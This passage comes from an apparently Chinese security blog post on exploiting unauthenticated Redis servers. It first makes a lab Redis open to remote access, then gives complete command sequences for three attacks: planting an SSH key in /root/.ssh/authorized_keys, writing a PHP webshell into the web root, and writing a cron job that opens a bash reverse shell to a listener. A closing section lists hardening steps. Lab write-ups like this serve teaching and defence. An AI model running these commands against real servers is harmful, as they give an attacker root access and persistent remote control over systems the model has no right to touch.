vim /etc/redis.conf
7、在该行前面增加#,注释ip绑定,允许除本地外的主机远程登录redis服务。
8、关闭保护模式,将yes改为no,允许远程连接redis服务。
9、使用修改过后的配置文件启动Redis服务
redis-server /etc/redis.conf (在redis.conf文件目录下执行)
#重新启动配置文件才会生效
-----------------------
#将此启动脚本加入到/etc/rc.local,让其开机自启动
echo "/home/CnHongKe/Redis/redis-5.0.9/src/redis-server /etc/redis.conf " >> /etc/rc.local
#/home/CnHongKe/Redis/redis-5.0.9是自己安装Redis的目录
10、使用另一台机器或本机无账号登录redis,以此验证redis服务的正确安装。
为了方便大家快速复现,小编也已整理了如下步骤,仅供参考:
默认apt-get安装,先进行更新sudo apt-get upgrade安装
sudo apt-get install redis-server
直接启动服务,执行redis-server或者redis-server+(配置文件目录)
将配置文件中的bind参数改为0.0.0.0或者注释掉,并且修改protected-mode为no允许外连。
关闭防火墙,具体命令:sudo ufw disable 查看防火墙状态:sudo ufw status
08
漏洞利用复现
0X01利用SSH写公钥登录服务器
>> 利用条件
服务端的Redis连接存在未授权,在攻击机上能用redis-cli直接登陆连接,无需登陆验证。
服务端存在.ssh目录并且有写入的权限。
>> 漏洞原理
在数据库中插入一条数据,将本机的公钥作为value或key值,然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys,把缓冲的数据保存在文件里,这样就可以在服务器端的/root/.ssh下生一个授权的key。
【特别说明】这个场景主要应用在没有 web 应用的服务器,redis一般都是与web分离的,linux系统都存在/root目录,所以这种方式会更加实用些。
>> 漏洞复现
第一步:在攻击机(如Kali)中生成ssh公钥和私钥,密码设置为空。
ssh-keygen -t rsa
默认会在/root/.ssh/目录中生成2个文件,私钥:id_rsa和公钥:id_rsa.pub。
第二步:打开id_rsa.pub文件,将里面内容复制出来。
cat /root/.ssh/id_rsa.pub
或者通过以下命令将生成的公钥另存为pub_key.txt
(echo -e "\n\n";cat /root/.ssh/id_rsa.pub;echo -e "\n\n")>pub_key.txt
最后将保存的pub_key.txt文件内容写入redis。
cat /root/.ssh/pub_key.txt | redis-cli -h 目标IP -x set pub
第三步:连接目标Redis漏洞主机
redis-cli -h IP -p 6379
#IP是目标redis主机
第四步:设置Redis的备份路径设置为/root/.ssh/,同时将保存的文件名命名为authorized_keys,并将kali生成的ssh公钥数据保存在目标服务器硬盘上路径为/root/.ssh/里面,最后我们可以通过kali的ssh私钥连接目标主机。
config set dir /root/.ssh/
config set dbfilename authorized_keys
save
quit
---------------------------
【友情提醒】注意在config set dir /root/.ssh时出现(error) ERR Changing directory: No such file or directory,只需要在靶机输入ssh localhost即可。
第五步:使用ssh连接目标主机,进而成功获取root权限。
ssh -i id_rsa root@ip #IP是目标redis主机
完整的思路与步骤已经演示完毕,相信各位大佬应该理解了吧,接下来就需要大家“锻炼”起来啦~
0X02利用漏洞写入webshell
>> 利用条件
目标开启了web服务,并且知道web路径。
root权限执行的redis,具有读写权限。
>> 漏洞原理
借助已知网站的物理路径或绝对路径,通过高级权限进行写马与连接。
>> 漏洞复现
第一步:搭建Web服务器(安装Apache)
apt install apache2 #安装命令
systemctl status apache2 #检查服务是否启动
----------apache 的默认的一些目录-----------
默认文档根目录是在 ubuntu 上的 /var/www 目录
配置文件是 / etc/apache2/apache2.conf
配置存储在的子目录在/etc/apache2 目录
----------开启、关闭和重启服务器-----------
/etc/init.d/apache2 start //启动Apache服务
/etc/init.d/apache2 stop //停止Apache服务
/etc/init.d/apache2 restart //重启Apache服务
第二步:redis-cli连接目标主机,并开启如下骚操作
redis-cli -h 192.168.100.138 #连接Redis
config set dir /var/www/html/ #设置要写入shell的绝对路径
config set dbfilename shell.php #设置数据文件的名字
set x "\r\n\r\n\r\n\r\n" #写入phpinfo()到webshell键
save #保存
0X03利用计划任务写入webshell
>> 利用条件
root启用Redis
redis无密码或者弱密码
>> 漏洞原理
在redis数据库中插入一条数据,将计划任务的内容作为value,key值随意,然后通过修改数据库的默认路径为目标主机计划任务的路径,把缓冲的数据保存在文件里,这样就可以在服务器端成功写入一个计划任务进行反弹shell。
>> 漏洞复现
第一步:在kali攻击机192.168.100.94中监听任意端口
nc -lnvp 8888
第二步:在目标机器中启动redis服务【建议在CentOS上操作】
利用该漏洞建议在Centos上实验,有时Ubuntu上行不通,原因如下:
因为默认redis写文件后是644的权限,但ubuntu要求执行定时任务文件/var/spool/cron/crontabs/
权限必须是600也就是-rw-------才会执行,否则会报错(root) INSECURE MODE (mode 0600 expected),而Centos的定时任务文件/var/spool/cron/ 权限644也能执行
因为redis保存RDB会存在乱码,在Ubuntu上会报错,而在Centos上不会报错
由于系统的不同,crontrab定时文件位置也会不同:
Centos的定时任务文件在/var/spool/cron/
Ubuntu定时任务文件在/var/spool/cron/crontabs/
如果必须在Ubuntu系统中演示,可以参考链接https://www.dazhuanlan.com/knight9001/topics/1061140
第三步:在Kali攻击机中进行如下骚操作
redis-cli -h 192.168.100.77 #连接CentOS Redis服务器
set xx "\n* * * * * bash -i >& /dev/tcp/192.168.100.94/8888 0>&1\n" #反弹连接
config set dir /var/spool/cron/ #设置要写入shell的绝对路径
config set dbfilename root #设置数据文件的名字
save #保存
第四步:返回Kali攻击机,观察反弹shell情况。
编写到此处,三种利用的方式已经全部介绍完毕,相信各位大佬应该深入玩转Redis的漏洞利用方式。如果想要免安装的部署环境,可以关注微信公众号,并在消息处留言:Redis,可获取下载链接。
最后,留给大家一个问题---“如何利用SSRF漏洞对Redis进行写webll呢?”欢迎大家留言讨论,我们准备了礼品送给精选留言的粉丝们。
09
☆☆☆漏洞利用总结☆☆☆
由于内容篇幅较长,现将常见的三种利用方式总结如下:
10
漏洞防御措施
1、以低权限运行 Redis 服务(重启redis才能生效),为Redis 服务创建单独的用户和家目录,并且配置禁止登陆。
groupadd -r redis && useradd -r -g redis redis
2、为Redis添加密码验证(重启redis才能生效),修改redis.conf 文件,添加
requirepass mypassword(注意redis不要用-a参数,明文输入密码,连接后使用auth认证)
3、禁止外网访问Redis(重启redis才能生效),修改redis.conf 文件,添加或修改,使得Redis服务只在当前主机可用。
bind 127.0.0.1
4、修改默认端口,修改配置文件redis.conf文件
Port 6379
5、保证 authorized_keys 文件的安全,应该阻止其他用户添加新的公钥。
#将authorized_keys 的权限设置为对拥有者只读,其他用户没有任何权限:
chmod 400 ~/.ssh/authorized_keys
#为保证 authorized_keys 的权限不会被改掉,您还需要设置该文件的 immutable 位权限
chattr +i ~/.ssh/authorized_keys
#重命名 ~/.ssh,然后新建新的 ~/.ssh目录和 authorized_keys 文件。要避免这种情况,需要设置 ~./ssh 的 immutable权限。
chattr +i ~/.ssh
6、设置防火墙策略,如果正常业务中Redis服务需要被其他服务器来访问,可以设置iptables策略仅允许指定的IP来访问Redis服务。
如果喜欢,敬请关注,后期内容更精彩!
往期推荐 · 值得阅看
END